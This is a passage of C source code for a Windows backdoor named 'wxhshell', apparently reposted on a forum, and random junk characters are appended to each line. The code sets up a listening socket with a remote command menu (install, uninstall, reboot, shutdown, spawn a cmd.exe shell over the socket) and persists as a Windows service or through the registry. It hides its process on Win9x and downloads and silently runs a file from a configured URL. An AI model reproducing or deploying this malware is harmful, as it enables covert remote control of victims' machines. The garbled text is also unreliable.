l^)o'YS y  
    switch(cmd[0]) { /%c+ eL}l  
  w}fqs/)w  
  // 帮助 ikeJDKSG  
  case '?': { &?&'"c{;m  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); QJb7U5:B+  
    break; DX7Ou%P,mg  
  } m/SJ4op$  
  // 安装 (v9!g#  
  case 'i': { aU,0gvI(}  
    if(Install()) zS#f%{   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }//8$Z<(  
    else UXXqE4x  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }?\#_BCjx(  
    break; sASAsGk<  
    }  dfYYyE  
  // 卸载 AycA :<  
  case 'r': { Y0R\u\b  
    if(Uninstall()) v)X[gt tf  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); k 2 mkOb  
    else '` BjRg57]  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); +Y_Q?/M@8  
    break; y$+!%y*  
    } )m$1al  
  // 显示 wxhshell 所在路径 AIIBd  
  case 'p': { "H/2r]?GT  
    char svExeFile[MAX_PATH]; D~[ N_  
    strcpy(svExeFile,"\n\r"); <ls i.x\y<  
      strcat(svExeFile,ExeFile); 0jl:Yzo&\  
        send(wsh,svExeFile,strlen(svExeFile),0); RBMMXJj  
    break; 3}.mp}K 5  
    } U~JG1#z6  
  // 重启 >n@>h$]  
  case 'b': { 3M`hn4)K  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *)}Ap4[  
    if(Boot(REBOOT)) y&KoL\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); v ](G?L9b  
    else { `"^@[1  
    closesocket(wsh); =PeW$q+  
    ExitThread(0); N7Z(lI|a;  
    } .j+2x[`l  
    break; Huug_E+  
    } `SSP53R(0  
  // 关机 J%O[@jX1  
  case 'd': { NoSqzJyh  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); W}<M?b4tP  
    if(Boot(SHUTDOWN)) "OlI-^y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ys~p(  
    else { NUxAv= xl  
    closesocket(wsh); .wt>.mUH  
    ExitThread(0); 9phD5b~j  
    } 9>} (]T  
    break; !Ed<xG/  
    } *cb D&R\  
  // 获取shell (<AM+|  
  case 's': { { 8|Z}?I  
    CmdShell(wsh); _Oaso >  
    closesocket(wsh); ZQJw2LAgO  
    ExitThread(0); !pF KC)  
    break; 4IGQ,RTB  
  }  HC<BGIgL  
  // 退出 \|b1s @c8  
  case 'x': { M25z<Y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); f0fqDmn  
    CloseIt(wsh); Xy KKD&j  
    break; s1*WK&@  
    } xYzcV%-Pm  
  // 离开 t0AqGrn  
  case 'q': { $HR(|{piZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); v=yI#5  
    closesocket(wsh); QBBJ1U  
    WSACleanup(); [K|>s(Sf*  
    exit(1); Br.$L  
    break; (fLbg,  
        } =>9.@`.  
  } NiJ?no  
  } gC,0+Y~  
_,-M8=dL%*  
  // 提示信息 1dgN10  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {KQ-Ce-6  
} dM@k(9|  
  } yU&g|MV_  
szM=U$jKq  
  return; U mx  
} Z({`9+/>u  
m= beB\=  
// shell模块句柄 _QtQPK\+  
int CmdShell(SOCKET sock) A?{aUQB~|  
{ t9-\x  
STARTUPINFO si; Fy+7{=?^F  
ZeroMemory(&si,sizeof(si)); 3!L<=X  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -^nQ^Td=j  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /v5g;x_T  
PROCESS_INFORMATION ProcessInfo; JD\-X(O  
char cmdline[]="cmd"; ;]`NR  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 3Jk?)D y  
  return 0; :N'[d e  
} h}VYA\+<B  
jJ{ w -$  
// 自身启动模式 x.4)p6  
int StartFromService(void) ` a<|CcUGU  
{ @0@'6J04  
typedef struct "=5vgg3  
{ <xh'@592  
  DWORD ExitStatus; =ym~= S  
  DWORD PebBaseAddress; .qU%SmQ^  
  DWORD AffinityMask; Pt)}HF|u  
  DWORD BasePriority; kHIQ/\3?Q  
  ULONG UniqueProcessId; [ QL<&:s&  
  ULONG InheritedFromUniqueProcessId; cE8 _keR~  
}   PROCESS_BASIC_INFORMATION; %?{2uMfq-f  
2*",{m  
PROCNTQSIP NtQueryInformationProcess; sB1tce  
PFn[[~5V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6s"bstc{  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; *]UEF_  
. L6@Rs  
  HANDLE             hProcess; y7L4jO9h  
  PROCESS_BASIC_INFORMATION pbi; >A@D;vx  
!v;_@iW3e  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ST [1'T+L  
  if(NULL == hInst ) return 0; OQb9ijLeK  
y.]]V"'2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aZ:?(u]  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !iz vY  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >yHnz?bf@  
!?-5 hh1\  
  if (!NtQueryInformationProcess) return 0; r#Oz0=0u  
DO,&Foh\  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); S/:QVs  
  if(!hProcess) return 0; e ~,'|~ C5  
 eJ\j{-  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `j"G=%e3.  
59J$SE  
  CloseHandle(hProcess); umn~hb5O  
%_=R&m'n`  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U=#ylQ   
if(hProcess==NULL) return 0; Z1lF[d,f;  
U\GZ  
HMODULE hMod; V4i%|vV  
char procName[255]; N S}`(N  
unsigned long cbNeeded; G(3la3\(  
"^e?E:( 3  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Gbm_xEPC  
M[N.H9  
  CloseHandle(hProcess); z7pXpy \  
Z!l!3(<G.f  
if(strstr(procName,"services")) return 1; // 以服务启动 2}C>{*}yQ  
J0W).mD_H  
  return 0; // 注册表启动 TK?+O}v-]!  
} !OVEA^6  
L;t~rW!1  
// 主模块 [cAg'R6  
int StartWxhshell(LPSTR lpCmdLine) k_^/   
{ _5`S)G{  
  SOCKET wsl; %~(i[Ur;  
BOOL val=TRUE; /<(ik&%N  
  int port=0; O,Gn2Do  
  struct sockaddr_in door; v23Uh2[@Yy  
0!\q  
  if(wscfg.ws_autoins) Install(); xVX||rrh  
^aWNtY' :  
port=atoi(lpCmdLine); nL20}"$E  
O;t?@!_  
if(port<=0) port=wscfg.ws_port; G6bg ~V5Q:  
V xs`w  
  WSADATA data; ^b. MR?9  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; j;'Wf[V  
I_s(yO4pw  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   X[Gk!d r#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !#s7 F  
  door.sin_family = AF_INET; [t) i\ }V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); F7 6h  
  door.sin_port = htons(port); _VJwC|  
5kNs@FP  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <5vB{)Tq  
closesocket(wsl); ;!sGfrs 0$  
return 1; r@UY$z  
}  M.^A`   
`bF;Ew;  
  if(listen(wsl,2) == INVALID_SOCKET) { =_6h{f&Q  
closesocket(wsl); ?O Nw*"9  
return 1; rM.<Gi05Qe  
} cHct|Z u  
  Wxhshell(wsl); )Dpt<}}\  
  WSACleanup(); ^{bEq\5&  
[ [CXMbD`*  
return 0; M 7$4KFNp  
!jnIXvT1qy  
} PdBhX  
}Cg~::,"  
// 以NT服务方式启动 N0hU~|/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  IomJo  
{ #vwXxr  
DWORD   status = 0;  kovzB]  
  DWORD   specificError = 0xfffffff; ;>Qd )'  
ha~s< I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; N,$o' \l  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; shZ<j7gqI  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 8QBL:7<  
  serviceStatus.dwWin32ExitCode     = 0; M oHvXp;X  
  serviceStatus.dwServiceSpecificExitCode = 0; ') y~d  
  serviceStatus.dwCheckPoint       = 0; |%;txD  
  serviceStatus.dwWaitHint       = 0; X;>} ;LiK  
=upP3rw  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H;&t"Ql.  
  if (hServiceStatusHandle==0) return; .w)t<7 y  
%;?3A#  
status = GetLastError(); X#<Sv>c^  
  if (status!=NO_ERROR) ibw;BU  
{ EBLoRW=8ld  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ;mlIWn  
    serviceStatus.dwCheckPoint       = 0; ]~ UkD*Ct  
    serviceStatus.dwWaitHint       = 0; !,"G/}'^;  
    serviceStatus.dwWin32ExitCode     = status; [.,6~=}vP  
    serviceStatus.dwServiceSpecificExitCode = specificError; -y<uAI g  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4gENV{ L  
    return; x0GZ2*vfsb  
  } bf(&N-"A  
tYa8I/HpT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 0MPDD%TP  
  serviceStatus.dwCheckPoint       = 0; 0yNlf-O  
  serviceStatus.dwWaitHint       = 0; 0n=E.qZ9c  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Gzt5efygKt  
} oFp&j@`k8j  
sAlgp2-  
// 处理NT服务事件,比如:启动、停止 "Fiv ]^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [L^#<@S  
{ {jG`l$$  
switch(fdwControl) i[#Tn52D  
{ gK#w$s50  
case SERVICE_CONTROL_STOP: 8ipLq`)  
  serviceStatus.dwWin32ExitCode = 0; v%[mt` I  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Q2=~  
  serviceStatus.dwCheckPoint   = 0; D IN PAyY  
  serviceStatus.dwWaitHint     = 0; [K- s\  
  { sA.yb,Fw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ` 454=3H  
  } JM%#L*;  
  return; +dv@N3GV  
case SERVICE_CONTROL_PAUSE: {%Sw w:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ? |dz"=y  
  break; h6t>yC\  
case SERVICE_CONTROL_CONTINUE: v2V1&-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; eGil`:JY"  
  break; .YRSd  
case SERVICE_CONTROL_INTERROGATE: (6{ VMQ  
  break; P+UK@~D+G  
}; cj *4 XYu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,YTIYG](  
} p2K9R4  
gK CIfxM  
// 标准应用程序主函数 "Wp<^ssMo  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Le!I-i( aD  
{ < r~Tj  
ehq6.+l  
// 获取操作系统版本 }o4Cd$,8  
OsIsNt=GetOsVer(); _#:1Axx1  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +|;IIwo  
4KnDXQ%  
  // 从命令行安装 nabN.Ly  
  if(strpbrk(lpCmdLine,"iI")) Install(); L?fv5 S3  
!w Bmf&=  
  // 下载执行文件 .$iIr:Tc>  
if(wscfg.ws_downexe) { SH.'E Hd  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) U<b!$"P9  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2}twt  
} icmDPq  
|sh  U  
if(!OsIsNt) { 3[rB:cE/  
// 如果时win9x,隐藏进程并且设置为注册表启动 [6|vx},N  
HideProc(); NL 37Y{b  
StartWxhshell(lpCmdLine); `upNP/,  
} k s}o9[D3  
else 51vK>  
  if(StartFromService()) 5hAg*zJb5o  
  // 以服务方式启动 PR+!CFi&  
  StartServiceCtrlDispatcher(DispatchTable); )-@EUN0E>5  
else *)<tyIHd  
  // 普通方式启动 5z _)  
  StartWxhshell(lpCmdLine); +,lD_{}_  
LHb{9x  
return 0; QS}=oOR@k  
}
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只看该作者 1 发表于: 2006-10-10
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